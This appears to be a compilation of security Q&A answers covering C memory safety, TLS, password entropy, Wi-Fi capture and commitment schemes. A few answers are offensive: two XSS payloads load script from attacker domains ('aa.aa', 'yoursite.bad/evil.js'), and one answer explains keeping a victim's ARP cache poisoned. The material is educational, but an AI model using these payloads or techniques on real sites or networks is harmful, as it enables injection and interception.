The difficulty comes essentially from the fact that, in C language, you are in charge of the memory-sanity of your own program. Meaning that you have to a full access to the memory, which allow you to do extremely efficient program but, also, might end up in an unspeakable chaos.

In this context, checking that you write within the bounds of a memory area is already a challenge. Especially if these bounds are dynamically chosen at runtime.

But, this is not enough to make a security issue, you also have to control that the outer World cannot access to the ability to write outside of these bounds.

As you have noticed in your question, only certain types of programs and/or part of the code are involved in these two issues. Usually the part that import inputs from the outer World and process it. And, there is absolutely no way to ensure that:

There will be no writing outside of the proper bounds.
No external input will be able to tweak an illegal writing in order to control it.

Again, all these problems are caused by the fact that you want memory efficiency and, thus, a full access to it. This is the price to pay.


Sending credit history report to potential landlord

It's pretty common in the USA that landlords want to know your credit history before they let you sign a lease. They want to know how much you make as well as how much debt you have so they can verify your ability to pay rent. Tenants tend to have pretty strong protections in the USA (some states more than others), and the cost of having a bad tenant can easily run into the tens of thousands of dollars.

The landlord usually has fixed costs that continue regardless of whether or not they're paid (mortgage, insurance, certain utilities), so if a tenant refuses or is unable to pay their rent they're not just out the cost of that rent, they also have to pay those substantial fixed costs out of pocket: essentially they lose two month's rent for every month a tenant doesn't pay. If the tenant refuses to move out then the landlord needs to go through the legal process of eviction, which can take months or up to a year, all the while the tenant isn't paying.

My only concern about your story is that the landlord wants you to submit your credit report to them. Typically the credit report is gotten directly from the credit bureaus, otherwise you could falsify the information and send him a fake. All of the major credit bureaus in the US market their services directly to landlords:

https://www.transunion.com/product/smartmove

https://www.equifax.com/business/resident-and-tenant-screening/

https://connect.experian.com/credit-check/landlord-credit-check.html

Your landlord might ask for your social security number (or whatever your country's equivalent is). However, services now exist that allow your landlord to get your credit history without handing over your personally identifying information. The landlord just needs your email, then the credit bureau verifies your identity directly and sends your landlord a verified report that does not include your personally identifying information.


There are lots of reasons to be against cloud. First, cloud is a meaningless marketing phrase. Whenever you want to have a real technical discussion at least use IaaS, PaaS, SaaS, etc. so we have some idea of what you are actually talking about. Second, I won't store my stuff in the cloud. Especially after all of the revelations about the NSA compromising all of the cloud providers by sniffing their inter-datacenter connections etc. Third, you have no idea what security controls are being employed and I've never seen a single cloud provider that would actually tell you. There are many more...


Is there any malicious reason to block CRLs?

Some operating systems, including Windows, want to enforce verifications of signatures of DLL. The verification entails validating the signature against the signer's public key, which is found in the signer's certificate, which itself needs to be validated. Certificate validation includes revocation status check.

In practice, a Windows OS validating a certificate will download CRL to ascertain that the certificate is not revoked. However, if the same OS cannot download the CRL, then it will just assume that the certificate is probably unrevoked. According to the normal X.509 model, when revocation status cannot be obtained, the certificate should be rejected. However, this means here that the application does not start, and the consumer will be unhappy (that is, significantly unhappier than what is already entailed by using Windows); and it would mean that the machine cannot work without a working Internet connection, which would imply some interesting chicken-and-egg issues.

So adding an entry which prevents connections to Verisign's CRL download server can have a malicious reason: this allows the attacker to sign his nefarious code with a revoked certificate (e.g. a certificate whose private key has been stolen by the attacker some time ago), while still maintaining a working Internet connection for the said machine.


How do very big companies manage their most important passwords / keys?

In General
There's not really one answer to this question, and I wouldn't necessarily consider "large companies" to be a distinct thing with different approaches.  Certainly, the particular companies you have named have their own way of doing things, but the people who would be best able to answer for them are employees of those companies.
As for large companies in general they vary too widely, even for "tech" companies.  Some take a very top-down approach to security and tech usage, and some don't.  Some care a lot about security and many don't.  Some companies prefer building their own tools, while many prefer using 3rd party systems and not re-inventing the wheel every time.
In addition it can vary wildly inside a business.  Different departments inside the organization may have their own methods, different teams inside departments may also do things differently, and then of course individual employees may frequently do their own thing.  Again, it depends a lot on whether or not technology choices are top-down or more bottom-up.
An Example
The company I work for is a larger (~12,000 employee) international e-commerce company.  We use Single Sign On (SSO) for most everything internal, but still provide employees with an account with an online password manager.  This is intended to be used for all the other websites that employees have to sign up for in the course of their job which they cannot login to using our own SSO (AKA the rest of the internet).  The company also purchases a license for a "personal" account with the password manager for every employee, mainly in hopes that it will encourage people not to store personal passwords in their company account.
In practice usage of this varies wildly from "department" to "department", with some having almost 100% adoption while others areas of the business use it very little at all and have their own preferred methods of storing important secrets.


Is there a security risk using a Symmetric-key for both encryption and HMACing

The "by the book" approach to this is to use a key-stretching/key-derivation-function to turn a one secret into another (longer) secret. Or two or more secrets. One for HMAC, one AES session key, etc.

This is what TLS does. It expands the master secret into a block of six single other secrets.

I can not name a practical attack if you don't do that.

But stretching the key is cheap. And afterwards you don't have to worry about related primitives attacks anymore. If nothing else, it's a method that allows you to mentally compartmentalize the different crypto parts. It makes the whole construction a lot easier to talk about.


How long before a key is visible on a key server?

The SKS key server pool is not a single key server, but a whole pool of servers administrated by different users all of the world. By using DNS round robin, you will be assigned to a different one from time to time (actually, you will get a new set of servers every 60 seconds).

It can happen that a single server is having issues, and there is some delay based on the synchronization schema these servers are using. If a key did not spread through-out the key server network after some minutes or hours, upload it again. If you want to spread a key rather fast, upload it to multiple servers in the network to shorten up the replication paths (and be less dependent on single machines failing or being slow at replicating keys).

Generally, the SKS key server pool is pretty stable and reliable, as (temporarily) broken servers get kicked out of the pool for a given time automatically (and will be re-included as soon as they're working again).


First as you said nothing is 100% safe. Having said that I think BitWarden is a trust worthy password manager for the following reasons,

They are open source. All of their products including their desktop app, mobile app, browser extension, web application & server are all open source.
The applications are developed in open too. The open source projects are not just code drops, the app is being developed in the open.
If you are using BitWarden's cloud, you need to know that they use Microsoft Azure offerings. They only use service offerings and all the security updates to the server are handled by Microsoft which they claim is better for security.Ref
If you are not satisfied with the security of BitWarden's server or have issues with MS Azure, you can host your own server. This way your data will be with you only and not stored in BitWarden's server. This is one of the biggest advantages as even if BitWarden's server gets taken down or hacked your data might be accessible and safe.
Compared to KeePass they have a well maintained open-source applications on all platforms. Some forks of KeePass are not that up to date.
They are audited by third partiesRef.


How to extract the top-level of protocols into the csv file by using tshark command?

Use -R to apply a display filter: tshark -r test.pcap -R "port 17 or port 6"


Is the following scheme for Google OAuth2 authentication and authorization satisfactory and secure?

It should be ok. It sounds like you are implementing OpenID which is built on top of OAuth.

When the user authenticates to Google a token is passed back to your application via a redirect performed by the user's browser. This could be viewed or modified by the user or by anyone who can intercept the request ie a corporate proxy server performing https inspection.

When your application receives this token it sends it on to Google who verify that it was issued to your application and returns the user data you refer to. This can only be intercepted if your connection to Google is man-in-the-middled, something that is a lot less likely.


If my private key is password protected, then how is it used without asking me for it?

For SSL/TLS, you usually do not have or use a private key, unless you are the server. If you are the server, or are using client certificates (TLS mutual authentication), then the private key will need to be unlocked (if password-protected) before use. The details are implementation-specific.

A web browser like Firefox might ask you for a key's password once and then cache that until the browser is closed.
Browsers or servers (like IE/Edge/Chrome or IIS) that use Windows' key store will either get a password prompt when the key is used, or will have only needed the password when the key was added to the key store and will then have encrypted it using a key protected by your Windows login credentials such that you don't need to re-enter the password but nobody who doesn't know your Windows password can use the key.
Macs can store keys in the Keychain, which works similarly to Windows' key store and is used by Safari and Chrome.
Software that does not use platform-provided key management or prompt the user for a password will need to have the password supplied on the command line when the program starts, stored somewhere (preferably in an environment variable or a file, but some people insist on hard-coding it into the source). This is very common for server applications that need to access e.g. a Java key store and its private keys, and yes, it's a security risk if an attacker gains the ability to read local files.

For SSH, the most common approach is the ssh-agent program (included with openssh, or you can use an alternative one). ssh-agent needs your key's password when it is launched, but then retains the unlocked key until the program closes. ssh-agent doesn't actually reveal the key to anybody; it instead acts as a service that will sign data with that key. The program's IPC endpoint is only reachable by programs running as the same user (or with super-user privileges), so while untrustworthy software running in your account could effectively use the key to SSH into any machine, once you've reached the point of malicious software in your user session you are already in big trouble.


Does CVE-2015-5352 work if there is no active X-Server?

To understand this vulnerability you need to understand the way how the X11 forwarding over ssh works and what part is vulnerable. There is basic image:

[  ssh client  ] --> [  ssh server  ]
 [ x11 server ]       [ x11 client ]

The one who is vulnerable is the part with ssh-client and x11 server if connecting to malicious ssh server. If there is no X-server on client, there is nothing to exploit.


Is there any chance of PC getting infected when you analyse PCAP malware file?

Wireshark is a complex beast and often bugs in the various protocol specific dissectors can be found which also might lead to remote code execution, see Dissecting Wireshark: I Know What You Captured Last Summer.

But while this might cause code execution when using a pcap from an untrusted source or with malformed protocol data in it, a well formed pcap with sane protocols which only captures transfer of malware binaries is not affected by this and will not lead to the execution of the malware which was captured in the pcap. But of course you can still extract the data from the pcap and thus inadvertently load the malware on your computer and maybe execute it too.


Problem while implementing an ARP poisoning software

Depending of the device, they may send who-has ARP request every Xs. (or in case they think they've lost connection with your router)

This will result in your router giving back the correct mac address and the ARP cache of the victim will not be longer compromise.

To counter that, you can sniff your network (eg using scapy) to check for ARP request incoming from your device to send a new ARP is-at answer and keep the cache compromised. You can also re-comprommise the cache each seconds if you don't want to implement a sniffer.


Verify that the leaves of a tree was created by a parent node?

Well, I think your question is more related to data structure and algorithm design. I would suggest that you move it to stack overflow

However, if I understood your question correctly you are trying to build an access control list using a tree data structure which really a nice idea :). If that what you are looking for then Yes it is possible and I suggest reading the paper An Access Control Model for Tree Data Structures


You should definitely just use the latest hashcat from hashcat.net. Note that CUDA is not included and downloaded separately.

There have been many changes and improvements since 'cudaHashcat' / 'oclHashcat' / 'hashcat' (CPU) were all merged into the new unified 'hashcat'.

All devices now require OpenCL - even CPU - and CUDA is completely gone.

[Update Jan 2020: CUDA support is returning in the upcoming 6.0.0 release of hashcat. One major benefit: you will have access to all available GPU memory - not just 1/4 of it! The CUDA driver itself is still a separate download from NVIDIA.]


Is Ed25519 still secure, despite the fault attack published in 2017?

Yes, Ed25519 is still secure. The paper describes an attack against hardware processing Ed25519 signatures. It is not a cryptographic attack against the algorithm itself. As explained here, a fault attack (also called a glitching attack) involves trying to confuse a processor while it is processing cryptographic material to cause it to glitch in a way that leaks internal information sufficient to reconstruct the private key. Unless someone is hooking up electrical probes to your CPU, the attack does not affect you at all.

The attack involves hooking up a device to the CPU and "glitching" it, for example by feeding it too much or too little voltage at specific times. If the glitch occurs while cryptographic material is being processed, it is possible to discover information about the key by observing the results of the glitching. It is a very invasive procedure, as you can see in this photo of the attack being performed:

From the text describing this picture:

  We demonstrated it on an Arduino Nano, using the Arduino Libs’ Crypto Ed25519 implementation and simple voltage glitches. We were able to cause single byte random errors at the end of the computation of H(R,A,M), allowing us to efficiently brute-force the error location and value, thus recovering half of the secret key.

So why is this attack newsworthy? The answer is simply that not every use of Ed25519 occurs on a machine that you have full control over. For example, secure embedded devices, such as smart cards, might fall into adversarial hands. These devices are designed to be secure and not reveal their private key even if you have physical access to them, so it would be bad if you could steal the private key just by monitoring the device while you feed it an incorrect voltage! This attack does not mean that every use of Ed25519 is doomed to be vulnerable to a fault attack, just that each implementation must apply mitigations to avoid this issue in situations where it is relevant.


Buffer overflow exploit works with gdb but not without

GDB uses a debugging hooks + it's intended to use a debug symbols and handle them, and it alters actual behaviour. So - it's clear that some artifacts will show up for sure


Most likely, it is working, but the program crashes with the Access Granted printf not having been flushed to the screen.  Crashing on SIGSEGV does not cause buffers to be flushed.  Add fflush(stdout); after the printf call in granted, and you'll likely get your desired behavior.


Triggering an XSS through a shortened URL?

32 characters are plenty for this case. Without a src, you are at 19 chars. 17 if you omit " around src, 16 if you omit the a (so you get "><script src=>).

You need two chars for the protocol (//) and nothing for the filename (just serve it from root). Which leaves you with 14 chars for the domain name.

You can easily register a domain with 5 characters yourself (2 chars for the name, 2 for the tld, one for the .), so 14 is no problem. The final payload would look something like "><script src=//aa.aa>, where aa.aa is the domain you registered.

You even have 9 chars to spare (eg to actually close the script, use a filename, a longer domain name, etc.)


Have a look at the Authy integration guide in the Coinbase docs:

  Install the app on your phone (the exact procedure may vary depending on your device).
  Launch the Authy app. When prompted during setup, enter the phone number you have verified on Coinbase and press OK.
  Choose to receive either a phone call or SMS to retrieve a verification code.
  Check your phone for the SMS or voice message sent by Authy. Note that the number that the code comes from may vary.
  Enter the registration pin that was sent to you via SMS/voice into the Authy app.
  Your phone is now a secure token for your Coinbase account and the Authy app should now have a Coinbase entry. Your Coinbase account will be synced with Authy through your phone number.
  The setup process is now complete. 2-step verification codes will be available under the Coinbase entry in the Authy app and can no longer be sent via SMS or Voice.

(Emphasis my own)

There is no explicit permission step where you authorize Authy to generate tokens for Coinbase. Authy associates your account based on the same confirmed phone number for both Authy and Coinbase.


Performing an airport scan on my Mac for available WiFi networks pulls up multiple SSID with different mac address. What's going on?

Ubiquiti APs use generated MAC addresses for the bridge interface (bridging wireless to ethernet). So, you'll often see similar MACs (but not quite the same). A single AP has two MACs in the configuration I often see.


Is there a way to make the server (Apache 2.4.7) always present both certificates?

No. This is by design in TLS. The server only presents the certificate after a common cipher suite has been negotiated.

And the cipher suite determines the certificate type (ECDSA or RSA). Then the server will know which of the certificates to use.

EDIT: See older question:
Here's one of my older answers to a related question:

SecSE:How does a browser choose which certificate to use if my web server has multiple certificates?


If you want to connect to an SSID that is not visible, you need to know the SSID (manually specify it in the connection settings).
After the step above, the SSID is considered known network and if disconnected, clients will be able to reconnect to it once it's again functional. So for (2) the answer is yes.


Binary to ASCII encoding for making files non executable

I think you're mixing up a few things here.

First, you're right: a wav file contains binary data, which may include malware instructions in its header/data.
But a text file also contains binary data.

What make you think that a text file is more secure than a wav file?

On disk, they are both some random byte stream preceded by some 4 bytes header, and are in no ways interpreted by the OS.

They are interpreted by a file reader, the software you use to view your file (in the two example you're giving, text and music files are not meant to be able to execute some additionnal instructions, and should only have their content read).

The file format can't contain any vulnerability because it all depends on how the data is understood by the software.

If the software executing your file has some security issues (ex: a buffer overflow exploit) then it could be exploited to execute instructions located at the right place in the file.

What you're proposing is like a very basic encryption system, which only alter the entropy of your file.


To send data to an application using TCP, you first have to establish a connection.  Until the connection is established, packets only get to the OS layer, not the application.  Establishing a connection requires that you receive packets back to the initiating end.  If you wanted to forge an IP address not on your own network and establish a TCP connection, you'd need to be able to intercept the packets the other side sent out.  (you need to be "in between" the endpoint, and where the packets to the forged IP address would normally go, or do some other clever routing tricks.)

UDP has no connection, so you can forge a packet with an arbitrary IP address and it should get to the application.  You still won't get packets back unless you're in the right "place" of course.  Whether this matters or not depends on the security you put in the application.  If you were to trust certain IP addresses more than others inside the application, this may be a problem.

So in that sense, TCP is more "secure" than UDP.  Depending on the application, this may or may not be relevant to security.  In and of itself it's not a good reason to replace UDP with TCP since there's other tradeoffs involved between the two protocols.


Rekeying is a part of perfect forward secrecy, if a malicious attacker is storing all your communication data hoping to get hold of the key in the future. Exchanging the key often will make it next to impossible to decrypt old messages with a current key. See https://en.wikipedia.org/wiki/Forward_secrecy


how to catch a packets from wifi that I am connected to ( or not connected to )?

Your router probably can listen on only on one channel at once. To listen to every channel - assuming 2.4 GHz wifi networking (802.11b/g/n) - you will need 14 wifi interfaces, each one at one channel, listening in promiscuous mode.

You will need more than one computer, as your computer probably does not have enough USB ports, and a hub will not have enough bandwidth and power available to support a dozen wifi cards.

After setting 14 interfaces (wlan1 to wlan14) you can run this on any Linux with tcpdump installed:

for IFACE in $(seq 1 14) ; do
  tcpdump -i wlan${IFACE} -w dump.wlan${IFACE} -I &
  echo $! >> tcpdump.pid # save pid to a file
done

Parameter used:

-i: use the specified interface

-w: write on specified file

-I: turn on wifi monitor mode

To finish the capture, run this:

for PID in $(cat tcpdump.pid) ; do
  kill $PID
done


Securing a prediction about a future event

Encryption does not offer the functionality you look for; not directly at least. As an extreme case, consider One-Time Pad: the key is as long as the data to encrypt, and encryption is done with a bit-by-bit XOR: given key K and plaintext P, ciphertext is C = P XOR K. Suppose that you used OTP for your encryption; you predicted P and published the encrypted version C. Later on, the prediction turned out to be wrong; Bob does not spill milk but wine (at 9:17 AM, what a shame !). You now want to appear as if you had predicted it correctly all along; thus, you want the ciphertext C to decrypt as P', not P (note that P' has the same length as P). This is easy: compute key K' = C XOR P' and publish K' as the key you used. You can verify that C is indeed the result of the encryption of P' by K'.

So, with OTP, you can fake a posteriori the initial message. This is this characteristic which makes OTP a theoretically unbreakable encryption system: every possible plaintext is possible (with the same probability) for a given ciphertext.

Therefore, if you use another encryption system (say, some AES), then this may provide the kind of commitment that you are looking for only by being imperfect as an encryption system. This does not look like a good foundation for security: it must be good, but not too good.

Hashing is a much better candidate. Hash the prediction P into H = SHA-256(P), then publish the hash value. Later on, reveal P: everybody can hash the revealed P and see that it matches the previously published hash value H. This is secure as long as the hash function is collision-resistant, i.e. as long as you cannot create two prediction P and P' which hash to the same value (because otherwise you could choose to reveal the one which happened).

As a side note, the publication can take several forms. Consider trusted timestamping: this is a public method for commitments. The Time Stamping Authority (TSA) receives a hash value, encapsulates it in a structure which also contains the current date and time (as known by the TSA), and signs the structure. In effect, the TSA, by its signature, says (in a verifiable way): "that hash value H was published at date T or before, because I saw it at date T". In a non-computer world, such a job is done with a Soleau envelope.

The hash value has a downside: it potentially allows someone to try to brute-force the prediction. Given the hash value H, one could try possible predictions P and hash them all until a match is found, thereby rebuilding the prediction before its reveal. For instance, one could know that you predict the spilling of some beverage at some date, and try all combinations of beverages and dates. Since hashing can proceeds at a speed of billions of messages per second (with a good GPU), some structured predictions would be at risk of early reveal. To prevent this attack, add random padding at the end:

Bob spills his glass of milk on April 24th at 9:17 AM, and
here is random padding:sef9yb94bo3qr7yqwnc67sb32

Be sure to use new random characters each time you make a prediction (don't reuse them !). Note that one can build a contrived example of a hash function which is "secure" in the sense that it does not allow collisions to be computed, but still fails at hiding the prediction value; however, this would be a contrived example. With SHA-256, the random padding will do the job, provided that you add enough of them (a random character will add 5 or 6 bits of entropy; at 80 bits, enemies are utterly defeated, so 16 characters are sufficient). A drawback of the method is that you have to keep the complete input string, i.e. the padded prediction, with the random characters; this can be troublesome if you intend to keep it in your head.


Should domains which only make redirects (aka tiny urls) be encrypted (https)?

Should redirect sites use HTTPS

If the main site uses HTTPS then the redirect site should too.

What attacks are possible if it does not

Passive Attacker

Can see every item looked at by the user
May get extra information (which site/chat linked to the page)

Active Attacker

Anything a passive attacker can, and...

Can MITM the connection and use something like SSLStrip to prevent the connection upgrading to HTTPS, allowing then to watch passwords, credit card numbers, etc.
Can add a cookie to the reply, allowing them to track a user
Can redirect the traffic to a phishing site, or a site that installs malware.

How to prevent using HTTP entirely, to stop tools like SSLStrip

You can serve an HSTS header, so only the first visit (and the first visit once the header expires) will use HTTP, so an attacker cannot intercept the traffic
If you with to prevent these weaknesses you can add your site to the HSTS Preload List, which will prevent HTTP connections.
This would need to apply for both sites, as if the main site is HSTS but the redirect then the attacker could redirect to a site they control instead, bypassing HSTS.

Should I use HTTPS

Generally, YES

There are very few occasions when you can get away with not using HTTPS, all of these need to apply:

You manually sign your data - and always verify the signature
You do not care about people finding out your software is running on someone's machine
You do not handle any sensitive information, or information users may want to keep secret
You won't accidentally get sensitive information sent over your system

An example would be ACARS, it's wasn't meant for sensitive information, but credit card numbers have been sent over it without realising the problems caused. [forum, paper]

You do not care or can detect if someone swaps around the files, using other valid signed ones
The service does not imply sensitive data (a page about a disease may not be sensitive, but the fact that someone is searching about the disease may be sensitive).


When is it safe to use a web based FTP client?

Probably not - if you enter your FTP details into a website, you have no idea where they could end up. Furthermore, FTP is insecure anyway - any data transferred over it (including your login details) is viewable in transit in clear text. This could be between the web service and the FTP server, even if the connection to the web service uses HTTPS. In this case, you can't see what is going on, since you personally have no access to that connection.

Ideally, use SFTP, directly from your machine, or over a VPN - in either case, everything beyond the initial connection is encrypted, including credentials and data.


Change Server IP used by Executeable [Client-Server Authentication]

Instead of using a static IP address in the executable why not use a domain. This way in the case of needing to change the IP address you can just change the IP address that your domain name points to.

This will prevent you from needing to patch the executable in the case the IP address needs to change. Of course it is still possible for an attacker to DDoS the new IP so you'll still need some way to mitigate the effects of an attack like this.


Is better to have as password a sentence or first letter of the sentence?

Neither - they are usually effectively equivalent.

This is because:

password crackers are very aware of non-random, human-understandable passphrases - and can (and do) emulate both subtypes at high speed, and
injecting memorable additional sequences like "!" and ":)" is just as well known and "simulatable", and
the effective entropy of either kind of passphrase-based construction technique once the methodology is known to the attacker are virtually identical.

It's #3 that is the most important lesson here, and why raw bruteforce is irrelevant: because the effective entropy of this method - how much work a real-world attacker has to perform - is dramatically less than the bruteforce entropy. This is because the psychology of naive password-memorization strategies is well-known to the attacker.

In your specific methodology, you only have to remember about eight things to remember the password:

the fact that you're using a passphrase at all (this is a freebie for the attacker, because they will be attacking passphrases as a class)
the rough meaning components of the original phrase (liking, food, and which two foods, perhaps roughly four pieces of information) (since the phrase makes grammatical sense, much of this is also easy for the attacker)
the fact that you did or did not use whole words vs the first letters (since there are only a few options here, this isn't hard for the attacker to exhaust both variants)
the placement and location of the two additional items (attackers know that people tend to put the special-character "extra" stuff at the end)

If the attacker had no idea at all in the history of password psychology that anyone would ever do this, you'd be in pretty good shape. But attackers know very well how people think about passwords, and what they do to "chunk" them into "memorizable" components. (In other words, your methodology does not adhere to Kerkhoffs' Principle).

So an attacker only has to "bruteforce" the psychologically likely effective entropy of your password. The attacker doesn't have to bruteforce all possible characters of length X; instead, they can dramatically reduce the things they have to guess by only trying the same possibilities that make them easier for you to remember.

By contrast, the most effective passphrases are random passphrases: five or six words, drawn purely randomly from a wordlist of, say, 20,000 words or more (20,000^5, or 3.2x10^21). Even if the attacker knows everything that you do about the construction methodology - exactly how many words are in the list, and exactly how many words you selected, and how you separated them, etc. - the sheer volume of possibilities is resistant to bruteforce. You only have to memorize five words - but they are so many possibilities that trying them all would take a very, very long time. If you do the math of this, you'll quickly start to understand.

(And the concern about "using words in the dictionary" is a leftover from old password complexity requirements that were trying to prevent people from using single words from a dictionary. The underlying principle - avoiding "guessability" - is a good one, but it's totally OK to use a large number of random words that happen to be in the dictionary)

Any password system whose strength is based solely on a large amount of randomness will always be stronger than one that isn't.


JS bug is stopping xss payload to exeute

It very much depends on the exact details.  You say

  the actual code is like the following:

(emphasis mine).  If the actual code is just like what you wrote then XSS injection is very easy.  The reason is because the javascript error doesn't matter.  It doesn't matter because you can completely escape the HTML attribute context and just inject your own scripts directly.  You could imagine a payload like this:

http://www.example.com/vulnerable-page?issue_id=1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

Since PHP is outputting your request directly, you have full control over the final page.  In short, 1)"> serves to close the select tag.  The actual html will end up as:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

The bug still stays there, but instead you get to directly inject a javascript file onto the page, which is all you need.  If the user were to change the select value there would be a javascript error, but your code will run on page load so it really doesn't matter.


What is being verified in OpenSSL's SSL_get_verify_result

SSL_get_verify_result() doesn't actually do any verification; it returns (part of) the result of the cert verification (if any) done during the most recent full handshake (if any) on the given SSL object. Assuming you really want to know what that verification did, it depends a good bit on the application code.

If the code sets a callback with SSL_CTX_set_cert_verify_callback before creating the SSL object, then the verification during handshake consists entirely of calling that callback -- whatever the callback does is what it does. If this callback is not set, as the man page says, a 'built-in verification function' is used, which is actually X509_verify_cert() (which has its own not very helpful man page) and what that does is roughly what is described on the verify(1) man page as referenced by John, plus some things that have been added over time but didn't always make it into the doc (e.g. NameConstraints and DANE, not to mention some revocation checking), but this checking can be altered and 'tweaked' by numerous options and parameters, not all of which are usable for verify(1), and most settable at either the SSL_CTX or SSL level, including an optional 'verify_callback' which is separate and quite different from the 'cert_verify_callback' mentioned above. See the man pages for SSL_[CTX_]set_verify[_depth], SSL_[CTX_]load_verify_locations et rel,
the X509_STORE_* and X509_STORE_CTX_* functions including X509_STORE_CTX_set0_param and related X509_VERIFY_PARAM* functions especially X509_VERIFY_PARAM_set_flags.

And if that's not exact enough, and it may well not be, check the source -- for the version you are (or will be) running, since there have been some changes in this (quite complex) area over time. Explaining exactly everything it does, even in a particular version, would (almost certainly) exceed the Stack answer limit and would take me about a week, as well as likely becoming obsolete soon, so I won't do that. If you have one or a very few specific issues, that could be answerable in a practical amount of time.


Are public/private keys needed when using Diffie-Hellman with TLS

Before the key exchange is done the client has to ensure that it is talking to the correct server and not to some active man in the middle which could split the TLS connection into one between client and attacker and another between attacker and server. To authenticate the server the client is using the content of the certificate provided by the server, i.e. the subject  and subject alternative names to validate the server name, the start and end time to check the life time and the signature to verify the trust chain to the builtin root CA.

The signature of the issuer of the certificate must be verified when building the trust chain which is done by using the known public key of the issuers CA certificate. Additionally it must be verified that the server is actually the owner of the certificate, i.e. knows the private key which only the owner should know. This is essentially done by the client providing input to a challenge which then gets signed by the server with the private key. This signature then can be validated by the client using the public key contained in the certificate and thus ownership of the certificate is verified. If client authentication is done using certificates a similar process is done for validating the client certificate.


what is the use of stolen personal details?

There are many groups that can be interested in such knowledge -

They can try to impersonate as YOU. Identity theft is one of the most crucial things nowadays. Impersonating can lead to credential theft to some websites etc.
Using this information to further infeltrate - maybe your e-mail password is weak?
Spammers and Direct marketing firms are looking for that kind of knowledge, too. They can use it for spam or to sell to someone that is into it.


Get the browser history without using a browser

Your browsing history is basically a file on the computer's disk. Depending on your attack scenario, many things are possible:

For someone who has access to your computer, through a remote-controlled malware or just sitting at your desk while you're away, it is entirely possible to get that history file and read it "without a browser". If, however, you explicitly deleted your browser history, this is not possible.
For someone who is listening in on the network however, it doesn't matter whether you delete your history or not because that person will be able to see all the (unencrypted) sites that you visited (effectively reconstructing your browsing history). It is worth pointing out that a malware or a surveillance tool installed by your employer could very well intercept your traffic locally.


Is it secure to not expire keys in symmetric encryption?

No, although the reason I see is independent of most of your post.

CBC mode is malleable; you should use a MAC too.


Old hardware for encryption and backdoor free

I thought the word had spread that the NSA is pretty good too. Yes, chinese network gear is often seen by some as compromised by design. Though recent news reports suggest that gear from US-companies might get manipulated after it leaves the factory (see here or here). Other manufactures are not above suspicion, too. Pick your poison!

Picking old hardware is not a solution to this problem:

Old stuff is more likely to break and gives your admin headache.
Often the support is discontinued. Therefore no security updates (or new backdoors as you like ;-) ) => There may be known remote exploits but no one feels responsible to fix it.
The security features are out-dated. For example: if you use an old access point and encrypt your wireless network using WEP any script kid breaks your encryption in 5 minutes or less.
Old network gear is slow. In particular if you use encryption that slows everything down.
It is unclear / unproven if or at which point some state may have started to plant backdoors. 3 years ago? 5, 7 or 10? (You seem to be especially afraid of chinese manufacturers: they deliver components and did so for years.)


Does rngd -r /path/to/file inject into /dev/urandom in addition to /dev/random?

On Linux at least, /dev/random and /dev/urandom are basically the same thing; more specifically they are both interfaces to the same internal RNG, called the Linux Random Number Generator (LRNG), that share an input entropy pool; the only difference between them is whether or not they block when the LRNG is at low entropy.

According to the man page for /dev/random:

  Writing to /dev/random or /dev/urandom will update the entropy pool with the data written,

On the diagrams below, writing to either device from user space will go into the main input entropy pool that is shared by both output interfaces. (article).

In the current LRNG design, /dev/random/ and /dev/urandom each have their own output entropy pool and entropy counter:

There is also a 2020 paper by Stephan Müller (the linux kernel dev who maintains the LRNG) that brings /dev/random and /dev/urandom even closer by having them also share the same output pool (source article):

Summary: Yes, rngd is adding entropy to both /dev/random and /dev/urandom.


Should I really treat memory leaks like classical bandwith dos?

The answer to this comes down to a risk-management decision that the organization makes. There are best practices, but even the bestest of practices can be compromised by risk-management decisions. There are no absolutes, even patch broken stuff is not an absolute.

You had a clue in their response:

  compensating controls

This phrase is used to justify leaving potentially breaking code in place. The compensation could be anything, but whatever it is limits the scope of the exploit in such a way that it isn't an SLA-threatening problem. Perhaps the exploitable leak causes a brief outage in a small percentage of overall users, which in the grand scheme of their SLA monitoring gets lost in the statistical noise.

It is also entirely possible that they've misunderstood the magnitude of what you've found. Unfortunately, only they can judge whether or not their compensating controls are sufficient.

As the reporter, your role here is to provide them with a clear assessment of the risks this presents. You will be more effective in changing their perception of the risks if you can provide a realistic scenario where this weakness can be leveraged to a wide-spread outage. Be specific, try not to invoke mega-scale botnets, and a reasonable assessment of how easy the problem would be to exploit once the weakness is known it exist. Use terminology from the Common Vulnerability Scoring System; or better yet, cite any CVE numbers for the problem.


How can hackers steal from a savings account that has no client card?

In theory, you only actually need the routing number and account number to issue a transaction (note that this is most of how transactions with cheques work).
If there's a card, there's also another set of numbers you can use, namely the card number and expiration date (and usually the cardholder name and possibly the CVV, this is how most online transactions work). You may not even need the PIN for the card here either, as a lot of banks will let you make 'credit' charges on a debit card (and most ATM cards anymore are debit cards too).
This then comes down to how those numbers may have gotten out, and there are five possibilities I can think of here:

An attack on the investment firm the account is used with. Statistically not very likely IMO, but still theoretically possible.
A phishing attack on the account holder. In most cases, people will not willingly tell you if they've had this happen, so you may need to dig a bit to get them to tell you if this is the case.
An attack on the bank the account is with. Less likely even than an attack on the investment firm, but still a remote possiblity.
A rogue employee at either the investment firm or bank.
A relative or friend who has visited the victim recently.


Relationship between Anonymity and Untraceability

The two notions are actually different. Anonymous systems usually are untraceable as a side effect but the reverse isn't true.

Consider, for instance, voting. The process is usually not anonymous: you have to prove you identity and rights to vote before you can do so and the system will keep track of how many votes you have cast. But it can also be untraceable (as an additional property) in the sense that nobody could find out what you actually voted for.


Will this router setup add a good layer of security?

That's not a very good idea, it's prone to MiTM attack since LAN B is a part of LAN A. Anyone with access to the latter can control what happens between modem and LAN B. The inner firewall won't help much against a dedicated attacker with access to LAN A. If nothing else, he/she could extract sensitive information from computers inside the private network through network communication.

Better option would be to reverse the situation and limit the public LAN group inside the private LAN according to the least privilege principle. Also, you can always monitor the switch where public network (LAN A) connects to (LAN B) and potentially set up some rules against various type of scans.

It needs to be said though that neither options are bulletproof. The safest option here, if you can afford it, is to have two modems connecting to two different ISPs. One for private network and the other for public, totally separated from one another.


How can I decrypt traffic on a WPA encrypted network?

Short answer

No, you need the pre-shared key.

Longer answer

WPA-PSK and WPA2-PSK encrypt traffic per client and session keys, which are derived from the pre-shared key.

So if you know the pre-shared key for the network (which you don't) and you sniff the four way handshake when another client joins the access point, you could decrypt only that client's traffic.

Note

This only applies assuming access point isolation is not enabled on the access point.


How to bypass origin based csrf protection?

